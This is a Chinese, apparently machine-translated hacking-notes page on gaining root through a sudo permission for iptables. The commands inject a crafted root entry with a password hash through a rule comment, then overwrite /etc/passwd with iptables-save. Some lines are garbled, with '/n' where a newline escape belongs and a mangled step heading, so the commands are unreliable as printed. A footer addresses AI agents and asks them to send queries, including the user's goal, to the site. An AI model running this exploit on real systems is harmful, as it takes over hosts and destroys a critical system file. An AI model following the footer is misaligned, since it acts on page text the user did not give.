> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/privesc/sudoers/sudo-iptables-linux-privilege-escalation.md).
# Sudo iptables - Linux 权限提升
## 这是什么
Sudoers 权限提升始于用户可以通过以下方式运行的命令 `sudo`. 错误配置的二进制文件、不安全的脚本参数、符号链接处理以及存在漏洞的 sudo 版本，都可能把受限的 sudo 权限变成 root shell。此特定页面重点介绍 **Sudo（iptables）** 并保持利用流程切合实际：识别条件，安全验证，然后运行证明影响所需的最小载荷。
## 枚举
在运行利用路径之前，先确认本地上下文和具体的错误配置。
```bash
sudo -l
sudo --version
```
## 示例
#### 步骤 1：通过 iptables 注释规则
先来看一个简单的 `iptables` 用于添加防火墙规则的命令：
```bash
sudo iptables -A INPUT -i lo -j ACCEPT
```
> 可以使用 `--comment` 选项向任何规则添加注释（最多 256 个字符）。/ 示例：
```bash
sudo iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'/nwhoami/n'
```
这可行，并可通过以下命令进行检查：
#### 潜在漏洞观察
通过 `-f` 的 `iptables-save` 命令，可以以 root 身份创建包含以下内容的文件： `iptables` 规则。例如：
```bash
sudo /usr/sbin/iptables-save -f test
```
利用此漏洞并获取权限提升的步骤如下：
1. **生成加密的 root 密码**/ 使用 `openssl` 以适当格式加密新密码：
```bash
openssl passwd jordan1234
```
$1$l.gPAsBk$R9avz6cb3xAGhuCvecolm0
2. **注入密码更改命令**/ 使用 `--comment` 选项，注入以下命令以更改 root 密码
{% code overflow="wrap" %}
```bash
sudo /usr/sbin/iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'/nroot:$1$l.gPAsBk$R9avz6cb3xAGhuCvecolm0:root:/root:/bin/bash/n'
```
{% endcode %}
3. 压碎 `/etc/passwd`en 运行中
```bash
sudo /usr/sbin/iptables-save -f /etc/passwd
```
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/zh/privesc/sudoers/sudo-iptables-linux-privilege-escalation.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.